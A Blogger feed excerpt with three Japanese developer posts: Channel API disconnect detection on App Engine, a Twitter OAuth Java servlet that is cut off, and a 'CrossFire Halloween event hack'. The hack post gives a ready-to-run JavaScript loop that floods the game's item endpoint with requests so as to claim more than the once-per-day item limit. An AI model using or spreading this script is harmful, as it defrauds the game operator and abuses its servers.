src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-5353946075931479257</id><published>2011-11-05T06:26:00.001+09:00</published><updated>2011-11-09T04:32:06.958+09:00</updated><title type='text'>Google App EngineのChannel APIで切断の検知</title><content type='html'>&lt;p&gt;いつの間にかこんなことが出来るようになっていた。去年（？）ぐらいから軽くGAEに触り、最近面白さをしってどんどん開発しているのですがこんなことは出来なかったような。&lt;/p&gt; &lt;p&gt;公式からはポーリング（定期的にデータを送信）でなんとかしてくれ。みたいなことが書かれてたような。&lt;/p&gt; &lt;p&gt;というわけでやり方をさっくり説明します。&lt;/p&gt; &lt;p&gt;&lt;a href="http://code.google.com/intl/ja/appengine/docs/java/channel/overview.html"&gt;Channel API Overview (Java)&lt;/a&gt;の「Tracking Client Connections and Disconnections」の意訳になりますかね。&lt;/p&gt; &lt;p&gt;ここではChannel APIが何かは説明しませんので。（もし質問があればTwitterで）&lt;/p&gt; &lt;p&gt;それでは説明&lt;/p&gt; &lt;p&gt;とりあえず war/WEB-INF/appengine-web.xmlに&lt;/p&gt; &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;inbound-services&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;service&amp;gt;channel_presence&amp;lt;/service&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/inbound-services&amp;gt;&lt;/p&gt; &lt;p&gt;これを追記しましょう。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&amp;lt;appengine-web-app xmlns="&lt;a href="http://appengine.google.com/ns/1.0&amp;quot;"&gt;http://appengine.google.com/ns/1.0"&lt;/a&gt;&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ・・・・・&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ・・・・・&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;inbound-services&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;service&amp;gt;channel_presence&amp;lt;/service&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/inbound-services&amp;gt;&lt;br&gt;&amp;lt;/appengine-web-app&amp;gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;こんな感じで。&lt;/p&gt; &lt;p&gt;そうすると&lt;/p&gt; &lt;p&gt;Channel APIの接続があった場合 "/_ah/channel/connected/"&lt;br&gt;Channel APIの切断があった場合 "/_ah/channel/disconnected/"&lt;/p&gt; &lt;p&gt;にデータがPOSTされるようです。&lt;/p&gt; &lt;p&gt;web.xmlでここにサーブレッドプログラムを置いておきましょう。&lt;/p&gt; &lt;p&gt;Javaxのやつの場合はdoPostメソッドで取得できますね。&lt;/p&gt; &lt;p&gt;要するに "/_ah/channel/disconnected/" のサーブレッドに&lt;br&gt;&lt;/p&gt; &lt;p&gt;import javax.servlet.http.*; &lt;br&gt;&lt;br&gt;import com.google.appengine.api.channel.*; &lt;br&gt;&lt;br&gt;@SuppressWarnings("serial")&lt;br&gt;public class Disconnected extends HttpServlet {&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ChannelService channelService = ChannelServiceFactory.getChannelService();&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void doPost(HttpServletRequest req,HttpServletResponse resp) throws IOException{&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ChannelPresence presence = channelService.parsePresence(req);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //このときpresenceに切断したユーザーのデータが入っています。詳しくはメンバ変数、メンバメソッドを各自ご確認ください。&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //ここ以下でpresenceをつかって動作内容を記述する。ここでは切断したユーザーのIDを表示するだけ。&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(presence.clientId());&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //以下動作内容をちょめちょめする。&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;}&lt;/p&gt; &lt;p&gt;これを置いておけば切断されたときにメッセージが出ます。が、デプロイ後はもちろん見れません（笑）&lt;/p&gt; &lt;p&gt;適当に解説を書きましたがわからない方はTwitterでご連絡をください。気まぐれですが説明します。&lt;/p&gt; &lt;p&gt;なお、Axe1lyzeは現在楽しく協力開発出来る人を募集しています！どんどん声をかけてね！&lt;/p&gt; &lt;p&gt;勉強中の人でもいいですよ！自分も勉強中なので（笑）&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-5353946075931479257?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/5353946075931479257/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=5353946075931479257&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5353946075931479257'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5353946075931479257'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/11/google-app-enginechannel-api.html' title='Google App EngineのChannel APIで切断の検知'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-6961168977754428474</id><published>2011-10-29T05:39:00.001+09:00</published><updated>2011-11-06T23:18:13.968+09:00</updated><title type='text'>クロスファイアのハロウィンイベントハック</title><content type='html'>&lt;p&gt;日本のクロスファイアに関する裏ワザシリーズ第3弾！&lt;/p&gt; &lt;p&gt;このシリーズは知的好奇心を満たす目的で書いています。悪意のあるユーザーは使わないでください。善意でも駄目です。&lt;/p&gt; &lt;p&gt;今回の裏技は課金したくないけどGPやアイテムが欲しいというあなたにピッタリな裏ワザです。&lt;/p&gt; &lt;p&gt;この裏技を使えばハロウィンイベントで1日に1回一個しかもらえないアイテムが運が良ければ5個ぐらい入手できます。&lt;/p&gt; &lt;p&gt;でも使わないでください。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;作業はすべてIEで行えます。&lt;/p&gt; &lt;p&gt;CFはすべてのページヘッダにブラウザを判定するスクリプトを入れるようにしてきたので、もうChrome（非IEタブ）やFireFoxでは使えません。&lt;/p&gt; &lt;p&gt;ハロウィンのイベントページから以下のJSを実行するだけです。&lt;/p&gt; &lt;p&gt;ここで意味が分からないぞという方は諦めてください。&lt;/p&gt; &lt;p&gt;以下コード。&lt;/p&gt; &lt;p&gt;w = window.open();&lt;br&gt;str="";&lt;br&gt;for(j=1;j&amp;lt;=2;j++){for(i=0;i&amp;lt;500;i++){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $.ajax({&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; type:"POST",&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; url:"/Ev20111026HalloweenGetItem.cf",&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; data:{"gbn":j},&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cache:false,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; success:function(message){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; w.document.write(decodeURIComponent(message).replaceAll("+"," ")+"&amp;lt;BR&amp;gt;");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;br&gt;}}w.document.write(str+"&amp;lt;HR&amp;gt;Finished!");  &lt;p&gt;&amp;nbsp; &lt;p&gt;まぁやることはかなり単純だし、なんといってもゴリ押し！  &lt;p&gt;一応質問はTwitterにて受けますが答えるかどうかは気まぐれです。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-6961168977754428474?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/6961168977754428474/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=6961168977754428474&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6961168977754428474'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6961168977754428474'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/10/blog-post.html' title='クロスファイアのハロウィンイベントハック'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-7548986340534307573</id><published>2011-10-18T18:28:00.002+09:00</published><updated>2011-10-20T14:38:52.251+09:00</updated><title type='text'>JavaでOAuth認証</title><content type='html'>&lt;p&gt;今回はコードだらけの記事に。  &lt;p&gt;TwitterのOAuth認証するJavaプログラムのコード。  &lt;p&gt;Google App Engineなどでも使えます。サーブレッドなんで。  &lt;p&gt;これは設定事項を任意に設定しておけば動作する（はず） 以下の画像の工程を最初から最後のデータ取得しクッキーに格納するところまで動作します。  &lt;p&gt;&lt;a href="http://cdn-ak.f.st-hatena.com/images/fotolife/y/yuroyoro/20100506/20100506190425_original.png"&gt;http://cdn-ak.f.st-hatena.com/images/fotolife/y/yuroyoro/20100506/20100506190425_original.png&lt;/a&gt;  &lt;p&gt;package com.appspot.axe1lyzelab;  &lt;p&gt;import java.io.BufferedReader;&lt;br /&gt;import java.io.IOException;&lt;br /&gt;import java.io.InputStreamReader;&lt;br /&gt;import java.net.URL;&lt;br /&gt;import java.net.URLConnection;&lt;br /&gt;import java.security.InvalidKeyException;&lt;br /&gt;import java.security.NoSuchAlgorithmException;  &lt;p&gt;import java.io.UnsupportedEncodingException;&lt;br /&gt;import java.net.MalformedURLException;&lt;br /&gt;import java.net.URLEncoder;&lt;br /&gt;import java.security.Key;&lt;br /&gt;import java.util.Enumeration;&lt;br /&gt;import java.util.HashMap;&lt;br /&gt;import java.util.Iterator;&lt;br /&gt;import java.util.Map;&lt;br /&gt;import java.util.Map.Entry;  &lt;p&gt;import javax.crypto.*;&lt;br /&gt;import javax.crypto.spec.*;  &lt;p&gt;import com.google.appengine.repackaged.com.google.common.util.Base64;&lt;br /&gt;import javax.servlet.http.*;  &lt;p&gt;@SuppressWarnings("serial")&lt;br /&gt;public class OauthLogin extends HttpServlet {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private HttpServletRequest req;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private HttpServletResponse resp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private HttpSession session;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; String responseText = "";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; static final String REQUSET_TOKEN_URL="&lt;a href="http://api.twitter.com/oauth/request_token&amp;quot;;"&gt;http://api.twitter.com/oauth/request_token";&lt;/a&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; static final String AUTHORIZE_URL="&lt;a href="http://api.twitter.com/oauth/authorize&amp;quot;;"&gt;http://api.twitter.com/oauth/authorize";&lt;/a&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; static final String ACCESS_TOKEN_URL="&lt;a href="http://api.twitter.com/oauth/access_token&amp;quot;;"&gt;http://api.twitter.com/oauth/access_token";&lt;/a&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; static final String APPLICATION_URL = "/";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; static final String SELF_URL = "/oauth";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; static final String CONSUMER_KEY="xxxxxxxxxxxx";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; static final String CONSUMER_SECRET="xxxxxxxxxxxxx";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; static final String SIGNATURE_METHOD="HmacSHA1";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; static final String VERSION = "1.0";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException{this.req=request;this.resp=response;session = req.getSession(true);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(req.getParameterMap().isEmpty()){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.invalidate();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session=req.getSession();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.setAttribute("oauth_token","");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.setAttribute("oauth_token_secret","");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.setAttribute("oauth_timestamp",Long.toString(System.currentTimeMillis() / 1000));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.setAttribute("oauth_nonce",Long.toString(System.nanoTime()));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try {getToken(REQUSET_TOKEN_URL);} catch (Exception e) {}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }else if(req.getParameter("oauth_verifier")!=null){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.setAttribute("oauth_verifier",req.getParameter("oauth_verifier"));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try {getToken(ACCESS_TOKEN_URL);} catch (Exception e) {}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Enumeration e = session.getAttributeNames();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(e.hasMoreElements()) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String key = (String)e.nextElement();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; responseText+=key+" : "+(String) session.getAttribute(key)+"&amp;lt;BR&amp;gt;&amp;lt;BR&amp;gt;";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }responseText+="&amp;lt;HR&amp;gt;";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }else{  &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; resp.setContentType("text/html; charset=utf-8");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; resp.getWriter().write("&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;"+responseText+"&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void getToken(String from) throws MalformedURLException, IOException, NoSuchAlgorithmException, InvalidKeyException {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; URLConnection url = new URL(from + "?" + getRequestParameters(from)).openConnection();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; url.connect();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HashMap&amp;lt;String,String&amp;gt; parsedResponse = parseResponse(getResponse(new BufferedReader(new InputStreamReader(url.getInputStream()))));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(from.equals(REQUSET_TOKEN_URL)){&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.setAttribute("oauth_token_secret",parsedResponse.get("oauth_token_secret"));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; resp.sendRedirect(AUTHORIZE_URL+"?oauth_token="+parsedResponse.get("oauth_token"));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }else if(from.equals(ACCESS_TOKEN_URL)){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Iterator entries = parsedResponse.entrySet().iterator();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(entries.hasNext()){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Entry entry = (Entry) entries.next();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.setAttribute((String)entry.getKey(),(String)entry.getValue());&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private String getResponse(BufferedReader in) throws IOException{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String str = "";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (true) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String line = in.readLine();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (line == null) {break;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; str+=line;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }return str;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private String getRequestParameters(String URL) throws UnsupportedEncodingException, InvalidKeyException, NoSuchAlgorithmException, IllegalStateException {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String OauthData = "";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OauthData += "oauth_consumer_key=" + CONSUMER_KEY;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OauthData += "&amp;amp;oauth_nonce=" + session.getAttribute("oauth_nonce");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OauthData += "&amp;amp;oauth_signature_method=HMAC-SHA1";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OauthData += "&amp;amp;oauth_timestamp=" + session.getAttribute("oauth_timestamp");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OauthData += "&amp;amp;oauth_version=" + VERSION;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(req.getParameter("oauth_token")!=null){OauthData += "&amp;amp;oauth_token=" + req.getParameter("oauth_token");}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(!session.getAttribute("oauth_token").equals("")){OauthData += "&amp;amp;oauth_token=" + session.getAttribute("oauth_token");}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OauthData += "&amp;amp;oauth_signature="+getSignature(getSignatureBaseString(URL,OauthData), getKeyString());&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return OauthData;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }  &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private String getSignature(String signatureBaseString, String keyString)throws NoSuchAlgorithmException, InvalidKeyException,UnsupportedEncodingException, IllegalStateException {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Mac mac = Mac.getInstance(SIGNATURE_METHOD);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Key key = new SecretKeySpec(keyString.getBytes(),SIGNATURE_METHOD);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mac.init(key);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return URLEncoder.encode(Base64.encode(mac.doFinal(signatureBaseString.getBytes())),"UTF-8");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }  &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private String getKeyString() {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(session.getAttribute("oauth_token_secret").equals("")) {return CONSUMER_SECRET + "&amp;amp;";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }else{return CONSUMER_SECRET + "&amp;amp;" + session.getAttribute("oauth_token_secret");}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }  &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private String getSignatureBaseString(String URL,String requestParameters)throws UnsupportedEncodingException {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return "GET&amp;amp;" + URLEncoder.encode(URL, "utf-8") + "&amp;amp;"+ URLEncoder.encode(requestParameters, "utf-8");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }  &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private HashMap&amp;lt;String,String&amp;gt; parseResponse(String response) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 